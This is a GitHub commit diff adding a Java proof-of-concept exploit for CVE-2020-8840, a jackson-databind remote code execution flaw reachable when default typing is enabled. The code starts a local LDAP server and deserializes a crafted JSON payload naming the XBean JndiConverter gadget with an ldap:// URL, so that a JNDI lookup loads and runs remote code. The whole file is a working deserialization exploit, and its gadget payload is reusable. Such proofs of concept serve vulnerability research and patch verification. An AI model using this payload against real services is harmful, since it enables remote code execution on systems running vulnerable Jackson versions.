File tree Expand file tree Collapse file tree 1 file changed +40
-0
lines changed
src/main/java/com/threedr3am/bug/jackson Expand file tree Collapse file tree 1 file changed +40
-0
lines changed Original file line number Diff line number Diff line change 1+ package com .threedr3am .bug .jackson ;
2+
3+ import com .fasterxml .jackson .databind .ObjectMapper ;
4+ import com .threedr3am .bug .server .LdapServer ;
5+ import java .io .IOException ;
6+
7+ /**
8+ *
9+ * jackson-databind <= 2.10.2 RCE,需要开启DefaultType
10+ *
11+ * CVE-2020-8840
12+ *
13+ * XBean-reflect依赖的gadget
14+ *
15+ * <dependency>
16+ * <groupId>org.apache.xbean</groupId>
17+ * <artifactId>xbean-reflect</artifactId>
18+ * </dependency>
19+ *
20+ * @author threedr3am
21+ */
22+ public class JndiConverterPoc {
23+
24+ static {
25+ //rmi server示例
26+ // RmiServer.run();
27+
28+ //ldap server示例
29+ LdapServer .run ();
30+ }
31+
32+ public static void main (String [] args ) throws IOException {
33+ ObjectMapper mapper = new ObjectMapper ();
34+ mapper .enableDefaultTyping ();
35+
36+ String json = "[\" org.apache.xbean.propertyeditor.JndiConverter\" , {\" asText\" :\" ldap://localhost:43658/Calc\" }]" ;
37+ mapper .readValue (json , Object .class );
38+ }
39+
40+ }
You can’t perform that action at this time.
0 commit comments